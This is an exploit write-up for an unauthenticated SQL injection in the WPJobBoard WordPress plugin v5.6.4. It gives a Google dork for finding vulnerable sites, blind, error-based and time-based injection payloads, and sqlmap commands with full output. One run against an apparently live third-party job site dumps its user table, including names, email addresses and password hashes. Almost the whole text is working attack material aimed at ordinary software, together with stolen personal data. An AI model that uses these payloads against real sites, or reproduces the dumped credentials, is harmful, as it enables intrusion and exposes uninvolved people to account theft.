[+] :: Exploit Title: WPJobBoard plugin v5.6.4 - Unauthenticated SQL Injection [+] :: Google Dork: inurl:/wp-content/plugins/wpjobboard/ [+] :: Date: 2020-10-24 [+] :: Exploit Author: Ex.Mi [ https://ex-mi.ru ] [+] :: Vendor: WPJobBoard [ https://wpjobboard.net ] [+] :: Software Version: 5.6.4 [+] :: Software Link: https://wpjobboard.net/demo/ [+] :: Tested on: Kali Linux [+] :: CVE: [+] :: CWE: CWE-89 [i] :: Info: An Unauthenticated SQL Injection vulnerability was discovered in the WPJobBoard plugin v5.6.4 for WordPress. Vulnerable parameters: type, category. [$] :: Payloads (Boolean-based blind): /advanced-search/?query=4325&location=4325&type=7)) AND 2392=(SELECT (CASE WHEN (2392=2392) THEN 2392 ELSE (SELECT 8365 UNION SELECT 6110) END))-- -&category=2&posted=30&results=1 /advanced-search/?query=4325&location=4325&type=7&category=2)) AND 5421=(SELECT (CASE WHEN (5421=5421) THEN 5421 ELSE (SELECT 5942 UNION SELECT 8466) END))-- -&posted=30&results=1 [$] :: Payloads (Error-based): /advanced-search/?query=4325&location=4325&type=7)) AND EXTRACTVALUE(4031,CONCAT(0x5c,0x7171627a71,(SELECT (ELT(4031=4031,1))),0x717a6a7171)) AND ((1099=1099&category=2&posted=30&results=1 /advanced-search/?query=4325&location=4325&type=7&category=2)) AND EXTRACTVALUE(5255,CONCAT(0x5c,0x7171627a71,(SELECT (ELT(5255=5255,1))),0x717a6a7171)) AND ((5637=5637&posted=30&results=1 [$] :: Payloads (Time-based blind): /advanced-search/?query=4325&location=4325&type=7)) AND SLEEP(5)#&category=2&posted=30&results=1 /advanced-search/?query=4325&location=4325&type=7&category=2)) AND SLEEP(5)#&posted=30&results=1 [!] :: PoC #1 (SQLMap): sqlmap --url="https://demo.wpjobboard.net/jobs/advanced-search/?query=4325&location=4325&type=7&category=2&posted=30&results=1" -dbs --user-agent=X --threads=2 --disable-precon --no-cast [*] starting @ 15:47:39 /2020-10-24/ [15:47:39] [INFO] testing connection to the target URL [15:47:45] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.1 (Percona fork) [15:47:45] [INFO] fetching database names [15:47:47] [WARNING] reflective value(s) found and filtering out [15:47:47] [WARNING] the SQL query provided does not return any output [15:47:47] [INFO] fetching number of databases [15:47:47] [INFO] resumed: 2 [15:47:47] [INFO] retrieving the length of query output [15:47:47] [INFO] retrieved: 18 [15:49:10] [INFO] retrieved: information_schema [15:49:10] [INFO] retrieving the length of query output [15:49:10] [INFO] retrieved: 18 [15:50:31] [INFO] retrieved: simpliko_wpjb_demo available databases [2]: [*] information_schema [*] simpliko_wpjb_demo [*] ending @ 15:50:31 /2020-10-24/ sqlmap --url="https://demo.wpjobboard.net/jobs/advanced-search/?query=4325&location=4325&type=7&category=2&posted=30&results=1" -D simpliko_wpjb_demo -tables --user-agent=X --threads=4 --disable-precon --no-cast [*] starting @ 15:51:03 /2020-10-24/ [15:51:09] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.1 (Percona fork) [15:51:09] [INFO] fetching tables for database: 'simpliko_wpjb_demo' [15:51:10] [WARNING] reflective value(s) found and filtering out [15:51:10] [WARNING] the SQL query provided does not return any output [15:51:11] [WARNING] potential permission problems detected ('command denied') [15:51:11] [WARNING] the SQL query provided does not return any output [15:51:11] [INFO] fetching number of tables for database 'simpliko_wpjb_demo' [15:51:11] [INFO] resumed: 32 [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 14 [15:51:11] [INFO] resumed: wp_commentmeta [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 11 [15:51:11] [INFO] resumed: wp_comments [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 8 [15:51:11] [INFO] resumed: wp_links [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 10 [15:51:11] [INFO] resumed: wp_options [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 15 [15:51:11] [INFO] resumed: wp_password_log [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 11 [15:51:11] [INFO] resumed: wp_postmeta [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 8 [15:51:11] [INFO] resumed: wp_posts [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 21 [15:51:11] [INFO] resumed: wp_term_relationships [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 16 [15:51:11] [INFO] resumed: wp_term_taxonomy [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 11 [15:51:11] [INFO] resumed: wp_termmeta [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 8 [15:51:11] [INFO] resumed: wp_terms [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 11 [15:51:11] [INFO] resumed: wp_usermeta [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 8 [15:51:11] [INFO] resumed: wp_users [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 13 [15:51:11] [INFO] resumed: wp_wpjb_alert [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 19 [15:51:11] [INFO] resumed: wp_wpjb_application [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 15 [15:51:11] [INFO] resumed: wp_wpjb_company [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 16 [15:51:11] [INFO] resumed: wp_wpjb_discount [15:51:11] [INFO] retrieving the length of query output [15:51:11] [INFO] resumed: 14 [15:51:12] [INFO] resumed: wp_wpjb_import [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 11 [15:51:12] [INFO] resumed: wp_wpjb_job [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 18 [15:51:12] [INFO] resumed: wp_wpjb_job_search [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 12 [15:51:12] [INFO] resumed: wp_wpjb_mail [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 18 [15:51:12] [INFO] resumed: wp_wpjb_membership [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 12 [15:51:12] [INFO] resumed: wp_wpjb_meta [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 18 [15:51:12] [INFO] resumed: wp_wpjb_meta_value [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 15 [15:51:12] [INFO] resumed: wp_wpjb_payment [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 15 [15:51:12] [INFO] resumed: wp_wpjb_pricing [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 14 [15:51:12] [INFO] resumed: wp_wpjb_resume [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 21 [15:51:12] [INFO] resumed: wp_wpjb_resume_detail [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 21 [15:51:12] [INFO] resumed: wp_wpjb_resume_search [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 17 [15:51:12] [INFO] resumed: wp_wpjb_shortlist [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 11 [15:51:12] [INFO] resumed: wp_wpjb_tag [15:51:12] [INFO] retrieving the length of query output [15:51:12] [INFO] resumed: 14 [15:51:12] [INFO] resumed: wp_wpjb_tagged Database: simpliko_wpjb_demo [32 tables] +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_password_log | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | | wp_wpjb_alert | | wp_wpjb_application | | wp_wpjb_company | | wp_wpjb_discount | | wp_wpjb_import | | wp_wpjb_job | | wp_wpjb_job_search | | wp_wpjb_mail | | wp_wpjb_membership | | wp_wpjb_meta | | wp_wpjb_meta_value | | wp_wpjb_payment | | wp_wpjb_pricing | | wp_wpjb_resume | | wp_wpjb_resume_detail | | wp_wpjb_resume_search | | wp_wpjb_shortlist | | wp_wpjb_tag | | wp_wpjb_tagged | +-----------------------+ [*] ending @ 15:51:12 /2020-10-24/ [!] :: PoC #2 (SQLMap): sqlmap --url="https://lightsourcepeople.com/jobs/advanced-search/?query=4325&location=4325&type=7&results=1" -dbs --user-agent=X --threads=2 --disable-precon --no-cast [*] starting @ 16:05:01 /2020-10-24/ [16:05:01] [INFO] testing connection to the target URL [18:50:33] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.6 [18:50:48] [INFO] fetching database names [18:50:50] [INFO] starting 2 threads [18:50:53] [INFO] retrieved: 'information_schema' [18:50:53] [INFO] retrieved: 'lightsou1_production' available databases [2]: [*] information_schema [*] lightsou1_production [*] ending @ 18:50:53 /2020-10-24/ sqlmap --url="https://lightsourcepeople.com/jobs/advanced-search/?query=4325&location=4325&type=7&results=1" -D lightsou1_production -tables --user-agent=X --threads=2 --disable-precon --no-cast [*] starting @ 20:03:30 /2020-10-24/ [20:03:31] [INFO] testing connection to the target URL [20:03:41] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.6 [20:03:41] [INFO] fetching tables for database: 'lightsou1_production' [20:03:44] [WARNING] reflective value(s) found and filtering out [20:03:44] [INFO] starting 2 threads [20:03:47] [INFO] retrieved: 'wp_commentmeta' [20:03:48] [INFO] retrieved: 'wp_comments' [20:03:49] [INFO] retrieved: 'wp_hook_list' [20:03:51] [INFO] retrieved: 'wp_links' [20:03:52] [INFO] retrieved: 'wp_options' [20:03:53] [INFO] retrieved: 'wp_postmeta' [20:03:55] [INFO] retrieved: 'wp_posts' [20:03:56] [INFO] retrieved: 'wp_term_relationships' [20:03:57] [INFO] retrieved: 'wp_term_taxonomy' [20:03:58] [INFO] retrieved: 'wp_termmeta' [20:04:00] [INFO] retrieved: 'wp_terms' [20:04:00] [INFO] retrieved: 'wp_usermeta' [20:04:02] [INFO] retrieved: 'wp_wpjb_alert' [20:04:02] [INFO] retrieved: 'wp_users' [20:04:20] [INFO] retrieved: 'wp_wpjb_company' [20:04:20] [INFO] retrieved: 'wp_wpjb_application' [20:04:22] [INFO] retrieved: 'wp_wpjb_import' [20:04:22] [INFO] retrieved: 'wp_wpjb_discount' [20:04:24] [INFO] retrieved: 'wp_wpjb_job' [20:04:24] [INFO] retrieved: 'wp_wpjb_job_search' [20:04:26] [INFO] retrieved: 'wp_wpjb_membership' [20:04:26] [INFO] retrieved: 'wp_wpjb_mail' [20:04:28] [INFO] retrieved: 'wp_wpjb_meta' [20:04:28] [INFO] retrieved: 'wp_wpjb_meta_value' [20:04:30] [INFO] retrieved: 'wp_wpjb_payment' [20:04:30] [INFO] retrieved: 'wp_wpjb_pricing' [20:04:33] [INFO] retrieved: 'wp_wpjb_resume_detail' [20:04:33] [INFO] retrieved: 'wp_wpjb_resume' [20:04:35] [INFO] retrieved: 'wp_wpjb_resume_search' [20:04:35] [INFO] retrieved: 'wp_wpjb_shortlist' [20:04:37] [INFO] retrieved: 'wp_wpjb_tag' [20:04:37] [INFO] retrieved: 'wp_wpjb_tagged' [20:04:39] [INFO] retrieved: 'wp_yoast_indexable' [20:04:39] [INFO] retrieved: 'wp_yoast_indexable_hierarchy' [20:04:41] [INFO] retrieved: 'wp_yoast_primary_term' [20:04:41] [INFO] retrieved: 'wp_yoast_migrations' [20:04:43] [INFO] retrieved: 'wp_yoast_seo_links' [20:04:43] [INFO] retrieved: 'wp_yoast_seo_meta' Database: lightsou1_production [38 tables] +------------------------------+ | wp_commentmeta | | wp_comments | | wp_hook_list | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | | wp_wpjb_alert | | wp_wpjb_application | | wp_wpjb_company | | wp_wpjb_discount | | wp_wpjb_import | | wp_wpjb_job | | wp_wpjb_job_search | | wp_wpjb_mail | | wp_wpjb_membership | | wp_wpjb_meta | | wp_wpjb_meta_value | | wp_wpjb_payment | | wp_wpjb_pricing | | wp_wpjb_resume | | wp_wpjb_resume_detail | | wp_wpjb_resume_search | | wp_wpjb_shortlist | | wp_wpjb_tag | | wp_wpjb_tagged | | wp_yoast_indexable | | wp_yoast_indexable_hierarchy | | wp_yoast_migrations | | wp_yoast_primary_term | | wp_yoast_seo_links | | wp_yoast_seo_meta | +------------------------------+ [*] ending @ 20:04:44 /2020-10-24/ sqlmap --url="https://lightsourcepeople.com/jobs/advanced-search/?query=4325&location=4325&type=7&results=1" -D lightsou1_production -T wp_users -columns --dump --user-agent=X --disable-precon --no-cast [*] starting @ 21:24:13 /2020-10-24/ [21:24:13] [INFO] testing connection to the target URL [21:24:22] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.6 [21:24:22] [INFO] fetching columns for table 'wp_users' in database 'lightsou1_production' [21:24:24] [WARNING] reflective value(s) found and filtering out [21:24:27] [INFO] retrieved: 'ID' [21:24:30] [INFO] retrieved: 'bigint(20) unsigned' [21:24:33] [INFO] retrieved: 'user_login' [21:24:35] [INFO] retrieved: 'varchar(60)' [21:24:37] [INFO] retrieved: 'user_pass' [21:24:40] [INFO] retrieved: 'varchar(255)' [21:24:42] [INFO] retrieved: 'user_nicename' [21:24:45] [INFO] retrieved: 'varchar(50)' [21:24:47] [INFO] retrieved: 'user_email' [21:24:49] [INFO] retrieved: 'varchar(100)' [21:24:51] [INFO] retrieved: 'user_url' [21:24:52] [INFO] retrieved: 'varchar(100)' [21:24:55] [INFO] retrieved: 'user_registered' [21:24:57] [INFO] retrieved: 'datetime' [21:24:59] [INFO] retrieved: 'user_activation_key' [21:25:01] [INFO] retrieved: 'varchar(255)' [21:25:03] [INFO] retrieved: 'user_status' [21:25:05] [INFO] retrieved: 'int(11)' [21:25:07] [INFO] retrieved: 'display_name' [21:25:09] [INFO] retrieved: 'varchar(250)' Database: lightsou1_production Table: wp_users [10 columns] +---------------------+---------------------+ | Column | Type | +---------------------+---------------------+ | display_name | varchar(250) | | ID | bigint(20) unsigned | | user_activation_key | varchar(255) | | user_email | varchar(100) | | user_login | varchar(60) | | user_nicename | varchar(50) | | user_pass | varchar(255) | | user_registered | datetime | | user_status | int(11) | | user_url | varchar(100) | +---------------------+---------------------+ [21:25:09] [INFO] fetching columns for table 'wp_users' in database 'lightsou1_production' [21:25:09] [INFO] resumed: 'ID' [21:25:09] [INFO] resumed: 'bigint(20) unsigned' [21:25:09] [INFO] resumed: 'user_login' [21:25:09] [INFO] resumed: 'varchar(60)' [21:25:09] [INFO] resumed: 'user_pass' [21:25:09] [INFO] resumed: 'varchar(255)' [21:25:09] [INFO] resumed: 'user_nicename' [21:25:09] [INFO] resumed: 'varchar(50)' [21:25:09] [INFO] resumed: 'user_email' [21:25:09] [INFO] resumed: 'varchar(100)' [21:25:09] [INFO] resumed: 'user_url' [21:25:09] [INFO] resumed: 'varchar(100)' [21:25:09] [INFO] resumed: 'user_registered' [21:25:09] [INFO] resumed: 'datetime' [21:25:09] [INFO] resumed: 'user_activation_key' [21:25:09] [INFO] resumed: 'varchar(255)' [21:25:09] [INFO] resumed: 'user_status' [21:25:09] [INFO] resumed: 'int(11)' [21:25:09] [INFO] resumed: 'display_name' [21:25:09] [INFO] resumed: 'varchar(250)' [21:25:09] [INFO] fetching entries for table 'wp_users' in database 'lightsou1_production' [21:25:11] [INFO] retrieved: '2' [21:25:13] [INFO] retrieved: 'George Harding' [21:25:15] [INFO] retrieved: '' [21:25:17] [INFO] retrieved: 'george.harding@tjarksandtjarks.com' [21:25:19] [INFO] retrieved: 'George' [21:25:21] [INFO] retrieved: 'george' [21:25:23] [INFO] retrieved: '$P$BU/9zGzCK/rwa3K7VaAW//TNbhBmOT1' [21:25:26] [INFO] retrieved: '2017-01-17 17:37:31' [21:25:28] [INFO] retrieved: '0' [21:25:30] [INFO] retrieved: '' [21:25:33] [INFO] retrieved: '3' [21:25:35] [INFO] retrieved: 'Adam Grainger' [21:25:37] [INFO] retrieved: '' [21:25:39] [INFO] retrieved: 'info@lightsourcepeople.com' [21:25:41] [INFO] retrieved: 'adam' [21:25:43] [INFO] retrieved: 'adam' [21:25:45] [INFO] retrieved: '$P$B5QUjo3FomrM2yEDLe/aqohKvkHKN3/' [21:25:47] [INFO] retrieved: '2017-01-19 14:34:58' [21:25:49] [INFO] retrieved: '0' [21:25:51] [INFO] retrieved: '' [21:25:53] [INFO] retrieved: '6' [21:25:55] [INFO] retrieved: 'John Duffy' [21:25:57] [INFO] retrieved: '1491466330:$P$Bh1dM7HVis.Rh4wurnW0rJ/9sR/L5D/' [21:25:59] [INFO] retrieved: 'alexis@avisobureau.com' [21:26:01] [INFO] retrieved: 'johnduffy' [21:26:03] [INFO] retrieved: 'johnduffy' [21:26:05] [INFO] retrieved: '$P$B1ooWt/6KMzoMuEzSKHT5P8i7M3IMJ.' [21:26:07] [INFO] retrieved: '2017-04-06 08:12:10' [21:26:09] [INFO] retrieved: '0' [21:26:11] [INFO] retrieved: '' [21:26:13] [INFO] retrieved: '7' [21:26:15] [INFO] retrieved: 'bobsmith' [21:26:16] [INFO] retrieved: '' [21:26:19] [INFO] retrieved: 'bob@smith.com' [21:26:21] [INFO] retrieved: 'bobsmith' [21:26:23] [INFO] retrieved: 'bobsmith' [21:26:25] [INFO] retrieved: '$P$BSGfqhaWFKECCMCxM/D456aliKhitb/' [21:26:28] [INFO] retrieved: '2017-04-06 11:47:50' [21:26:30] [INFO] retrieved: '0' [21:26:32] [INFO] retrieved: '' [21:26:34] [INFO] retrieved: '8' [21:26:36] [INFO] retrieved: 'adamgrainger' [21:26:38] [INFO] retrieved: '' [21:26:40] [INFO] retrieved: 'adam.grainger@lightsourcepeople.com' [21:26:42] [INFO] retrieved: 'adamgrainger' [21:26:44] [INFO] retrieved: 'adamgrainger' [21:26:46] [INFO] retrieved: '$P$BIl4yQp2fmNipoytV0iGgF./FaOkZ0.' [21:26:48] [INFO] retrieved: '2017-04-12 11:05:37' [21:26:50] [INFO] retrieved: '0' [21:26:53] [INFO] retrieved: '' [21:26:55] [INFO] retrieved: '9' [21:26:58] [INFO] retrieved: 'George Vincent' [21:27:00] [INFO] retrieved: '1561455577:$P$BxIo7qwuxSi0HaxH0fOoV8Nl4lfkms.' [21:27:02] [INFO] retrieved: 'george@preferrd.com' [21:27:04] [INFO] retrieved: 'GeorgePreferrd' [21:27:06] [INFO] retrieved: 'georgepreferrd' [21:27:09] [INFO] retrieved: '$P$BkcJrkXYGUSOgQgthzwpQqpmJ2GxGp.' [21:27:11] [INFO] retrieved: '2019-06-05 07:13:43' [21:27:13] [INFO] retrieved: '0' [21:27:15] [INFO] retrieved: '' Database: lightsou1_production Table: wp_users [6 entries] +----+----------------+-------------------------------------+------------------------------------+ | ID | user_login | user_email | user_pass | +----+----------------+-------------------------------------+------------------------------------+ | 2 | George | george.harding@tjarksandtjarks.com | $P$BU/9zGzCK/rwa3K7VaAW//TNbhBmOT1 | | 3 | adam | info@lightsourcepeople.com | $P$B5QUjo3FomrM2yEDLe/aqohKvkHKN3/ | | 6 | johnduffy | alexis@avisobureau.com | $P$B1ooWt/6KMzoMuEzSKHT5P8i7M3IMJ. | | 7 | bobsmith | bob@smith.com | $P$BSGfqhaWFKECCMCxM/D456aliKhitb/ | | 8 | adamgrainger | adam.grainger@lightsourcepeople.com | $P$BIl4yQp2fmNipoytV0iGgF./FaOkZ0. | | 9 | GeorgePreferrd | george@preferrd.com | $P$BkcJrkXYGUSOgQgthzwpQqpmJ2GxGp. | +----+----------------+-------------------------------------+------------------------------------+ [*] ending @ 21:30:43 /2020-10-24/ [@] :: Contacts: Website: ex-mi.ru Telegram: @ex_mi GitHub: @ex-mi Medium: @ex-mi